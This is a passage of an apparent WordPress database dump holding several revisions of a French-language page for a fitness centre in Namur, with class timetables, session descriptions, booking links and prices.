class=\&quot;tvide\&quot;&gt;LesMills&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #9FEDAC;\&quot;&gt;Circuit Training&lt;/span&gt; : Entraînement sur un circuit ultra complet, fun et adapté à votre niveau. Ce circuit utilise tous les outils.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #9FC6ED;\&quot;&gt;Cardio&lt;/span&gt; : Entraînement développant votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et pour perdre du poids (en complément avec un programme alimentaire) !\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #EDE99F;\&quot;&gt;TRX&lt;/span&gt; : Entraînement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l’intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #ED9FEA;\&quot;&gt;Psychomotricité&lt;/span&gt; : Séance réservée aux enfants de 3 à 6 ans.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #ED9FA2;\&quot;&gt;Force&lt;/span&gt; : Entraînement basé sur le travail de la force pure avec ou sans prise de masse (Kettlebel, barre, haltère,…)&lt;b&gt; &lt;/b&gt;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #A2A186;\&quot;&gt;Core&lt;/span&gt; : Entraînement basé sur le travail du centre du corps (« core »). Nous enchaînerons les exercices sur les muscles abdominaux, dorsaux, fessiers,…\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #EDE99F;\&quot;&gt;TRX/Cardio&lt;/span&gt; : Entraînement croisé entre le TRX et le cardio. Vous travaillerez ici votre endurance et votre renforcement musculaire global.\r\n\r\n&amp;nbsp;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\r\nRéserver vos séances de Small Group Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Séance Booster&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;20.00€ (Sur rendez-vous)\r\n30 min : 10 min de bilan + 20 min de découverte avec un coach en personal training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Personal Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 60.00€\r\n30 min : 35.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 35.00€\r\n30 min : 20.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Small Group Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 10.00€\r\n1 carte de 10 séances : 90.00€ (valable 6 mois)\r\n1 carte de 20 séances : 150.00€ (valable 6 mois)\r\n1 carte de 50 séances : 300.00€ (valable 1 an)&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Préparation physique&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 40.00€\r\nSéance de 30 min orientée sur les spécificités du sport&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + coaching nutritionnel pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-12-15 19:36:41', '2014-12-15 19:36:41', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(463, 1, '2014-12-15 19:41:10', '2014-12-15 19:41:10', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Small Group Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 pers.). Nous vous proposons 7 types de séances décrites ci-dessous.\r\nPour suivre les cours de Small Group Training, vous devez d\'abord vous inscrire à une &lt;a title=\&quot;Séance booster\&quot; href=\&quot;http://www.crosstrainingcenter.be/266-2/\&quot;&gt;séance Booster&lt;/a&gt;. Cette séance, sur rendez-vous individuel, avec un coach durera 30 minutes. Durant cette séance, un bilan sera réalisé ainsi qu\'une découverte de l\'ensemble des outils du Cross Training Center.\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Heure&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;16h45&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills.png\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-461\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills.png\&quot; width=\&quot;90\&quot;/&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcore\&quot;&gt;Core&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Squash&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tforce\&quot;&gt;Force&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;LesMills&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;LesMilles&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Foot&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;LesMilles&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;20h30&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;LesMills&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #9FEDAC;\&quot;&gt;Circuit Training&lt;/span&gt; : Entraînement sur un circuit ultra complet, fun et adapté à votre niveau. Ce circuit utilise tous les outils.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #EDE99F;\&quot;&gt;TRX&lt;/span&gt; : Entraînement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l’intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #ED9FA2;\&quot;&gt;Force&lt;/span&gt; : Entraînement basé sur le travail de la force pure avec ou sans prise de masse (Kettlebel, barre, haltère,…)&lt;b&gt; &lt;/b&gt;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #A2A186;\&quot;&gt;Core&lt;/span&gt; : Entraînement basé sur le travail du centre du corps (« core »). Nous enchaînerons les exercices sur les muscles abdominaux, dorsaux, fessiers,…\r\n\r\n&amp;nbsp;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\r\nRéserver vos séances de Small Group Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Séance Booster&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;20.00€ (Sur rendez-vous)\r\n30 min : 10 min de bilan + 20 min de découverte avec un coach en personal training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Personal Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 60.00€\r\n30 min : 35.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 35.00€\r\n30 min : 20.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Small Group Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 10.00€\r\n1 carte de 10 séances : 90.00€ (valable 6 mois)\r\n1 carte de 20 séances : 150.00€ (valable 6 mois)\r\n1 carte de 50 séances : 300.00€ (valable 1 an)&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Préparation physique&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 40.00€\r\nSéance de 30 min orientée sur les spécificités du sport&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + coaching nutritionnel pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-12-15 19:41:10', '2014-12-15 19:41:10', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(464, 1, '2014-12-15 19:42:49', '2014-12-15 19:42:49', '', 'LesMills', '', 'inherit', 'open', 'open', '', 'lesmills-2', '', '', '2014-12-15 19:42:49', '2014-12-15 19:42:49', '', 363, 'http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png', 0, 'attachment', 'image/png', 0),
(465, 1, '2014-12-15 19:43:23', '2014-12-15 19:43:23', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Small Group Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 pers.). Nous vous proposons 7 types de séances décrites ci-dessous.\r\nPour suivre les cours de Small Group Training, vous devez d\'abord vous inscrire à une &lt;a title=\&quot;Séance booster\&quot; href=\&quot;http://www.crosstrainingcenter.be/266-2/\&quot;&gt;séance Booster&lt;/a&gt;. Cette séance, sur rendez-vous individuel, avec un coach durera 30 minutes. Durant cette séance, un bilan sera réalisé ainsi qu\'une découverte de l\'ensemble des outils du Cross Training Center.\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Heure&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;16h45&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;140\&quot; height=\&quot;30\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcore\&quot;&gt;Core&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Squash&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tforce\&quot;&gt;Force&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;LesMills&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;LesMilles&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Foot&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;LesMilles&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;20h30&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;LesMills&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #9FEDAC;\&quot;&gt;Circuit Training&lt;/span&gt; : Entraînement sur un circuit ultra complet, fun et adapté à votre niveau. Ce circuit utilise tous les outils.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #EDE99F;\&quot;&gt;TRX&lt;/span&gt; : Entraînement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l’intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #ED9FA2;\&quot;&gt;Force&lt;/span&gt; : Entraînement basé sur le travail de la force pure avec ou sans prise de masse (Kettlebel, barre, haltère,…)&lt;b&gt; &lt;/b&gt;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #A2A186;\&quot;&gt;Core&lt;/span&gt; : Entraînement basé sur le travail du centre du corps (« core »). Nous enchaînerons les exercices sur les muscles abdominaux, dorsaux, fessiers,…\r\n\r\n&amp;nbsp;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\r\nRéserver vos séances de Small Group Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Séance Booster&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;20.00€ (Sur rendez-vous)\r\n30 min : 10 min de bilan + 20 min de découverte avec un coach en personal training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Personal Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 60.00€\r\n30 min : 35.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 35.00€\r\n30 min : 20.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Small Group Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 10.00€\r\n1 carte de 10 séances : 90.00€ (valable 6 mois)\r\n1 carte de 20 séances : 150.00€ (valable 6 mois)\r\n1 carte de 50 séances : 300.00€ (valable 1 an)&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Préparation physique&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 40.00€\r\nSéance de 30 min orientée sur les spécificités du sport&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + coaching nutritionnel pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-12-15 19:43:23', '2014-12-15 19:43:23', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0);
